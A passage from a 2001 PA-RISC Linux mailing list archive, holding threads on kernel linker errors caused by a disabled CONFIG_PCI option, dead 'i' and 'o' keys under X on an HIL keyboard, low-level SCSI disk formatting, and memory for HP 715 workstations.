arch/parisc/kernel/head.o  init/main.o init/version.o \
--start-group \
arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o
arch/parisc/lib/lib.a arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o
arch/parisc/hpux/hpux.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o
arch/parisc/kernel/init_task.o \
 drivers/parport/driver.o drivers/char/char.o drivers/block/block.o
drivers/misc/misc.o drivers/net/net.o drivers/media/media.o
drivers/scsi/scsidrv.o drivers/cdrom/driver.o
drivers/sound/sounddrivers.o drivers/video/video.o drivers/gsc/gscbus.o
arch/parisc/math-emu/math.o \
net/network.o \
`gcc -print-libgcc-file-name`
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a
/usr/src/parisc-linux/linux/lib/lib.a  \
	--end-group \
	-o vmlinux
drivers/char/char.o: In function `read_port':
drivers/char/char.o(.text.read_port+0x6c): undefined reference to `inb'
ld: drivers/char/char.o(.text.read_port+0x6c): cannot find stub entry
0000089b_inb+0
ld: drivers/char/char.o(.text.read_port+0x6c): cannot handle
R_PARISC_PCREL17F for inb
drivers/char/char.o(.text.read_port+0xd8): undefined reference to `inb'
ld: drivers/char/char.o(.text.read_port+0xd8): cannot find stub entry
0000089b_inb+0
ld: drivers/char/char.o(.text.read_port+0xd8): cannot handle
R_PARISC_PCREL17F for inb
drivers/char/char.o: In function `write_port':
drivers/char/char.o(.text.write_port+0x88): undefined reference to
`outb'
ld: drivers/char/char.o(.text.write_port+0x88): cannot find stub entry
0000089b_outb+0
ld: drivers/char/char.o(.text.write_port+0x88): cannot handle
R_PARISC_PCREL17F for outb
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`insb':
io.o(.text.insb+0x30): undefined reference to `inb'
ld: io.o(.text.insb+0x30): cannot find stub entry 00000fd4_inb+0
ld: io.o(.text.insb+0x30): cannot handle R_PARISC_PCREL17F for inb
io.o(.text.insb+0x50): undefined reference to `inb'
ld: io.o(.text.insb+0x50): cannot find stub entry 00000fd4_inb+0
ld: io.o(.text.insb+0x50): cannot handle R_PARISC_PCREL17F for inb
io.o(.text.insb+0x5c): undefined reference to `inb'
ld: io.o(.text.insb+0x5c): cannot find stub entry 00000fd4_inb+0
ld: io.o(.text.insb+0x5c): cannot handle R_PARISC_PCREL17F for inb
io.o(.text.insb+0x70): undefined reference to `inb'
ld: io.o(.text.insb+0x70): cannot find stub entry 00000fd4_inb+0
ld: io.o(.text.insb+0x70): cannot handle R_PARISC_PCREL17F for inb
io.o(.text.insb+0x80): undefined reference to `inb'
ld: io.o(.text.insb+0x80): cannot find stub entry 00000fd4_inb+0
ld: io.o(.text.insb+0x80): cannot handle R_PARISC_PCREL17F for inb
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o)(.text.insb+0xa0):
more undefined references to `inb' follow
ld: io.o(.text.insb+0xa0): cannot find stub entry 00000fd4_inb+0
ld: io.o(.text.insb+0xa0): cannot handle R_PARISC_PCREL17F for inb
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`insw':
io.o(.text.insw+0x4c): undefined reference to `inw'
ld: io.o(.text.insw+0x4c): cannot find stub entry 00000fd4_inw+0
ld: io.o(.text.insw+0x4c): cannot handle R_PARISC_PCREL17F for inw
io.o(.text.insw+0x60): undefined reference to `inw'
ld: io.o(.text.insw+0x60): cannot find stub entry 00000fd4_inw+0
ld: io.o(.text.insw+0x60): cannot handle R_PARISC_PCREL17F for inw
io.o(.text.insw+0x6c): undefined reference to `inw'
ld: io.o(.text.insw+0x6c): cannot find stub entry 00000fd4_inw+0
ld: io.o(.text.insw+0x6c): cannot handle R_PARISC_PCREL17F for inw
io.o(.text.insw+0x8c): undefined reference to `inw'
ld: io.o(.text.insw+0x8c): cannot find stub entry 00000fd4_inw+0
ld: io.o(.text.insw+0x8c): cannot handle R_PARISC_PCREL17F for inw
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`insl':
io.o(.text.insl+0x60): undefined reference to `inl'
ld: io.o(.text.insl+0x60): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0x60): cannot handle R_PARISC_PCREL17F for inl
io.o(.text.insl+0x88): undefined reference to `inl'
ld: io.o(.text.insl+0x88): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0x88): cannot handle R_PARISC_PCREL17F for inl
io.o(.text.insl+0xb0): undefined reference to `inl'
ld: io.o(.text.insl+0xb0): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0xb0): cannot handle R_PARISC_PCREL17F for inl
io.o(.text.insl+0xd0): undefined reference to `inl'
ld: io.o(.text.insl+0xd0): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0xd0): cannot handle R_PARISC_PCREL17F for inl
io.o(.text.insl+0xf0): undefined reference to `inl'
ld: io.o(.text.insl+0xf0): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0xf0): cannot handle R_PARISC_PCREL17F for inl
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o)(.text.insl+0x110):
more undefined references to `inl' follow
ld: io.o(.text.insl+0x110): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0x110): cannot handle R_PARISC_PCREL17F for inl
ld: io.o(.text.insl+0x130): cannot find stub entry 00000fd4_inl+0
ld: io.o(.text.insl+0x130): cannot handle R_PARISC_PCREL17F for inl
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`outsb':
io.o(.text.outsb+0x2c): undefined reference to `outb'
ld: io.o(.text.outsb+0x2c): cannot find stub entry 00000fd4_outb+0
ld: io.o(.text.outsb+0x2c): cannot handle R_PARISC_PCREL17F for outb
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`outsw':
io.o(.text.outsw+0x4c): undefined reference to `outw'
ld: io.o(.text.outsw+0x4c): cannot find stub entry 00000fd4_outw+0
ld: io.o(.text.outsw+0x4c): cannot handle R_PARISC_PCREL17F for outw
io.o(.text.outsw+0x68): undefined reference to `outw'
ld: io.o(.text.outsw+0x68): cannot find stub entry 00000fd4_outw+0
ld: io.o(.text.outsw+0x68): cannot handle R_PARISC_PCREL17F for outw
io.o(.text.outsw+0x74): undefined reference to `outw'
ld: io.o(.text.outsw+0x74): cannot find stub entry 00000fd4_outw+0
ld: io.o(.text.outsw+0x74): cannot handle R_PARISC_PCREL17F for outw
io.o(.text.outsw+0x8c): undefined reference to `outw'
ld: io.o(.text.outsw+0x8c): cannot find stub entry 00000fd4_outw+0
ld: io.o(.text.outsw+0x8c): cannot handle R_PARISC_PCREL17F for outw
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`outsl':
io.o(.text.outsl+0x64): undefined reference to `outl'
ld: io.o(.text.outsl+0x64): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0x64): cannot handle R_PARISC_PCREL17F for outl
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`L215':
io.o(.text.outsl+0xb4): undefined reference to `outl'
ld: io.o(.text.outsl+0xb4): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0xb4): cannot handle R_PARISC_PCREL17F for outl
io.o(.text.outsl+0xd0): undefined reference to `outl'
ld: io.o(.text.outsl+0xd0): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0xd0): cannot handle R_PARISC_PCREL17F for outl
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o): In function
`L249':
io.o(.text.outsl+0xec): undefined reference to `outl'
ld: io.o(.text.outsl+0xec): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0xec): cannot handle R_PARISC_PCREL17F for outl
io.o(.text.outsl+0x10c): undefined reference to `outl'
ld: io.o(.text.outsl+0x10c): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0x10c): cannot handle R_PARISC_PCREL17F for outl
/usr/src/parisc-linux/linux/arch/parisc/lib/lib.a(io.o)(.text.outsl+0x130):
more undefined references to `outl' follow
ld: io.o(.text.outsl+0x130): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0x130): cannot handle R_PARISC_PCREL17F for outl
ld: io.o(.text.outsl+0x158): cannot find stub entry 00000fd4_outl+0
ld: io.o(.text.outsl+0x158): cannot handle R_PARISC_PCREL17F for outl
make: *** [vmlinux] Error 1

and I noticed a register dump in dmesg:

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111011100001111
r0-3	 00000000 000a63a0 00003063 00000000
r4-7	 00000000 00003ad4 00020000 40bc3040
r8-11	 00000007 000a63a0 000a63d8 000b6c58
r12-15	 000a63a0 000a73a0 000a63a0 faf00768
r16-19	 faf00608 00007b49 40843040 0000abf2
r20-23	 000b6c58 40f26044 00010000 00010000
r24-27	 00000007 00020000 40bc3040 000a63a0
r28-31	 00040000 00002000 faf00800 40c44070
sr0-3	 0000003d 0000003d 00000000 0000003d
sr4-7	 0000003d 0000003d 0000003d 0000003d

IASQ: 0000003d 0000003d IAOQ: 000043b7 000043bb
 IIR: 32ed040f    ISR: 0000003d  IOR: 40f66000
 ORIG_R28: 0200ffff


Is there a quick fix for this? Should I spend the effort to
download/configure/build the latest gcc and/or glibc or just wait for
someone to post a more recent kernel for the 712 (with mouse, keyboard,
STI console, & audio support)?

-chuck

P.S. What happened to the ESIEE site?  I realize that most of France
takes the month of August off, but it's only July 30th. ;-)




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Errors trying to compile 2.4.6-pa22
Date: Sun, 29 Jul 2001 22:51:39 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20010729225139.B3472@tausq.org>
References: <3B64F11B.DC4EEF75@telocity.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620342 22839 80.91.229.3 (22 Nov 2014 01:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: caslivkoff@telocity.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul 29 23:52:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF445482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 29 Jul 2001 23:52:19 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 6.03.0009/NU8172.00.4d3e3a24) with ESMTP id ntoxgaaa for parisc-linux@lists.parisc-linux.org; Sun, 29 Jul 2001 22:48:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 15R5xr-0001B9-00; Sun, 29 Jul 2001 22:51:39 -0700
Content-Disposition: inline
In-Reply-To: <3B64F11B.DC4EEF75@telocity.com>
User-Agent: Mutt/1.3.18i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:11747

In reference to a message from caslivkoff@telocity.com, dated Jul 30:
> I've been trying to compile a new kernel on my 712/80 (128MB RAM) while
> running 2.4.0-pa25. I downloaded linux-latest.tar.gz (2.4.6-pa22),
> configured, and "make dep" with no problems. "make palo" gets to the
> end, and errors out with:

what do you have in your .config? sounds like i need to add some
#ifdef's to arch/parisc/lib/io.c .. 

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Errors trying to compile 2.4.6-pa22
Date: Mon, 30 Jul 2001 14:32:54 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010730143254.A25867@parcelfarce.linux.theplanet.co.uk>
References: <3B64F11B.DC4EEF75@telocity.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620342 22842 80.91.229.3 (22 Nov 2014 01:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: caslivkoff@telocity.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 07:32:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DC27482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 07:32:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15RDAE-0006lN-00; Mon, 30 Jul 2001 14:32:54 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B64F11B.DC4EEF75@telocity.com>; from caslivkoff@telocity.com on Mon, Jul 30, 2001 at 01:31:07AM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11748

On Mon, Jul 30, 2001 at 01:31:07AM -0400, caslivkoff@telocity.com wrote:
> Hi list,
> 
> I've been trying to compile a new kernel on my 712/80 (128MB RAM) while
> running 2.4.0-pa25. I downloaded linux-latest.tar.gz (2.4.6-pa22),

> drivers/char/char.o: In function `read_port':
> drivers/char/char.o(.text.read_port+0x6c): undefined reference to `inb'

You turned off CONFIG_PCI.  This is not currently supported; but we were
discussing how to fix it yesterday.  For the moment, enable it.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Gaylard <andrew.gaylard@za.didata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dead keys in X
Date: Mon, 30 Jul 2001 17:02:33 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <3B657709.4050201@za.didata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620342 22846 80.91.229.3 (22 Nov 2014 01:39:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 09:02:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nsr-temip1.sps.ics.didata.com (unknown [196.38.213.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5917A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 09:02:53 -0600 (MDT)
Original-Received: by nsr-temip1.sps.ics.didata.com id RAA0000015708; Mon, 30 Jul 2001 17:02:41 +0200 (GMT+0200)
Original-Received: from za.didata.com (localhost [127.0.0.1])
	by ndx-andrewg.sps.ics.didata.com (SGI-8.9.3/8.9.3) with ESMTP id RAA90505
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 17:02:35 +0200 (SAT)
User-Agent: Mozilla/5.0 (X11; U; IRIX 6.5 IP32; en-US; rv:0.9) Gecko/20010508
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11749

Hello All,

After lurking daily on the mailing archives for 2 years,
I decided that the time has finally come to give PARISC-Linux
a spin.  I burned a CD of the 0.9.2 release, booted up my
715/100 (STI console, HIL keyboard & mouse) and it worked
on the first install.  Excellent work!

I then decided to give X a try, based on Helge Deller's
message in http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013241.html
(thanks, Helge!)

This worked, but...

The 'i' and 'o' keys in X are dead.  The 'i'-key at least
sends a keycode-224 to X (as viewed in xev), but if I try

	xmodmap -e "keycode 224 = i"

I get the error:
	xmodmap: commandline:0: bad keycode value (out of range)

The 'o'-key, on the other hand, doesn't send anything at all.
Where do I begin to track this down?  I've checked that my
XF86Config-4 file is set up as described by Helge.  My
/etc/X11/xkb/rules/xfree86 file also looks OK.

I've tried various other maps, such as hp-101 and pc101, as
well as several keymaps from xkeycaps, but they either scramble
the layout completely, or have no effect.

This puzzles me, since the STI console works fine with those
keys.  Where are the scancodes from the HIL bus mapped to X
keycodes? (I presume that it uses scancodes like a normal PC
keyboard... right?)  Or is there another layer needing configuring,
which maps keyboard-specific scancodes to linux-generic keynames to
X keycodes?

Also, I'm using a MS-compatible serial-mouse.  Although it works,
it is really s-l-o-w.  I have a HIL-PS/2 adapter box, but will
it work with a PS/2 mouse?  If so, will the mouse device change
to something like /dev/psaux?

Lastly, is anyone working on HIL mouse support?  If not, then I
wouldn't mind having a go.

Thanks to everyone for making this port such a success!


-- 
Andrew G





From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dead keys in X
Date: Mon, 30 Jul 2001 17:50:37 +0200
Organization: SAP LinuxLab
Lines: 20
Approved: news@gmane.org
Message-ID: <200107301550.RAA00052@sap-ag.de>
References: <3B657709.4050201@za.didata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620343 22848 80.91.229.3 (22 Nov 2014 01:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:03 +0000 (UTC)
To: Andrew Gaylard <andrew.gaylard@za.didata.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 09:50:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4396D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 09:50:39 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id RAA05932;
  Mon, 30 Jul 2001 17:52:27 +0200 (MESZ)
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <3B657709.4050201@za.didata.com>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:11750

On Monday 30 July 2001 17:02, Andrew Gaylard wrote:
> The 'i' and 'o' keys in X are dead.  The 'i'-key at least
> sends a keycode-224 to X (as viewed in xev), but if I try
>
> 	xmodmap -e "keycode 224 = i"
>
> I get the error:
> 	xmodmap: commandline:0: bad keycode value (out of range)


Hi Andrew,

Just an idea: Does 
		xmodmap -e "keycode 0xE0 = i"
works ?

Helge




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dead keys in X
Date: Tue, 31 Jul 2001 00:31:38 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20010730223223.AD310482A@dsl2.external.hp.com>
References: <3B657709.4050201@za.didata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620343 22851 80.91.229.3 (22 Nov 2014 01:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:03 +0000 (UTC)
To: Andrew Gaylard <andrew.gaylard@za.didata.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 16:32:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [194.221.183.20])
	by dsl2.external.hp.com (Postfix) with SMTP id AD310482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 16:32:23 -0600 (MDT)
Original-Received: (qmail 25059 invoked by uid 0); 30 Jul 2001 22:32:21 -0000
Original-Received: from pd9040625.dip.t-dialin.net (HELO there) (217.4.6.37)
  by mail.gmx.net (mp003-rz3) with SMTP; 30 Jul 2001 22:32:21 -0000
X-Mailer: KMail [version 1.3]
In-Reply-To: <3B657709.4050201@za.didata.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11751

Hi Andrew,

On Monday 30 July 2001 17:02, Andrew Gaylard wrote:
> ....
> I then decided to give X a try, based on Helge Deller's
> message in
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/013241.html
> (thanks, Helge!)

I assume you meant this link (just for the record):
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-July/012972.html

>
> This worked, but...
>
> The 'i' and 'o' keys in X are dead.  The 'i'-key at least
> sends a keycode-224 to X (as viewed in xev), but if I try
>
> 	xmodmap -e "keycode 224 = i"
>
> I get the error:
> 	xmodmap: commandline:0: bad keycode value (out of range)
>
> The 'o'-key, on the other hand, doesn't send anything at all.
> Where do I begin to track this down?  I've checked that my
> XF86Config-4 file is set up as described by Helge.  My
> /etc/X11/xkb/rules/xfree86 file also looks OK.
>
> I've tried various other maps, such as hp-101 and pc101, as
> well as several keymaps from xkeycaps, but they either scramble
> the layout completely, or have no effect.

I have the same problem as you, but was too lazy to look any further yet.
On the other hand I don't think other keymaps are more suitable, and
the easiest way would be to get it fixed with your xmodmap approach 
and in the long term with a fixed pre-installed keymap from the XFree86
packages.

> Also, I'm using a MS-compatible serial-mouse.  Although it works,
> it is really s-l-o-w.  I have a HIL-PS/2 adapter box, but will
> it work with a PS/2 mouse?  If so, will the mouse device change
> to something like /dev/psaux?

No idea since I don't have such a adapter box myself. Maybe you 
should just try and let us know since you are not the first one asking.

> Lastly, is anyone working on HIL mouse support?  If not, then I
> wouldn't mind having a go.

Currently no one is working on such a driver, but instead there is a 
generic HIL-driver in progress. If this driver is finished a generic 
HIL-mouse-driver-plugin should be easy.
In any case, just go ahead if you want.

> Thanks to everyone for making this port such a success!

Thanks


Greetings,
Helge




From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] low-level format for Hp 715/50 machine SCSI disk
Date: Mon, 30 Jul 2001 19:48:16 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20010731014816.D384437CD9@carmen.fc.hp.com>
References: <000801c10e2e$bb1dee70$d10c6481@HCI009> 
 <20010717105752.Q30356@linuxcare.com>  <002201c10fc1$dc7f7590$d30c6481@HCI008>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620343 22856 80.91.229.3 (22 Nov 2014 01:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Yan Han" <yhan@uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 19:48:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD8F8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 19:48:18 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 28B4B1F5F8; Mon, 30 Jul 2001 21:47:27 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id D384437CD9; Mon, 30 Jul 2001 19:48:16 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 18 Jul 2001 15:43:04 EDT."
             <002201c10fc1$dc7f7590$d30c6481@HCI008> 
Xref: news.gmane.org gmane.linux.ports.parisc:11752

"Yan Han" writes...

> Hi!
> 
> Does anyone know how to do low-level hard disk format for HP 715/50
> machines. We cannot boot it up with its own scsi disck, since there are
> error messages.

Try putting the disk on a different system and doing a low-level format there. 
If the SCSI card in the other system has a low-level format in the card BIOS 
(most bootable PC scsi cards do) you can use that, or you can use the scsifmt 
command in the scsitools package (at least on Debian).

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What kind of RAM uses a 715/75?
Date: Mon, 30 Jul 2001 20:01:59 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20010731020159.F0D1F37CD9@carmen.fc.hp.com>
References: <8D4C69676E66D511A1CB00508BBBB192162699@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620344 22859 80.91.229.3 (22 Nov 2014 01:39:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:04 +0000 (UTC)
Cc: "'Parisc Linux Mailinglist'" <parisc-linux@lists.parisc-linux.org>
To: "Pedot, Wolfgang" <wpedot@harris.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 30 20:02:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06D61482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Jul 2001 20:02:03 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id A91101F516; Mon, 30 Jul 2001 22:01:11 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id F0D1F37CD9; Mon, 30 Jul 2001 20:01:59 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Pedot, Wolfgang" <wpedot@harris.com> 
   of "Thu, 19 Jul 2001 12:59:22 EDT." <8D4C69676E66D511A1CB00508BBBB192162699@ranmx1.ran.harris.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11753

"Pedot, Wolfgang" writes...

> Hi,
> 
> During my work on my 715/75 (works now fine) I saw that it seem to use standa
> rd SIMMs.

It does not use standard PC memory. You must use HP or 3rd party compatible 
memory. Doing a google search for "715 memory" turns up a few places that 
carry it. Don't spend too much though, as 715s(and even newer&faster boxes) 
*with* memory are going for very cheap on ebay.

> Does anybody now what Type of RAM this Workstation needs (EDO, FPM, what Size
> max...)?

I think 32mb simms are the largest HP sold for those boxes but I could be 
wrong. Also I think a 3rd party(Kingston?) may have sold larger.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa-risc project
Date: Mon, 30 Jul 2001 21:34:46 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <01073021344600.00877@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620344 22862 80.91.229.3 (22 Nov 2014 01:39:04 GMT)
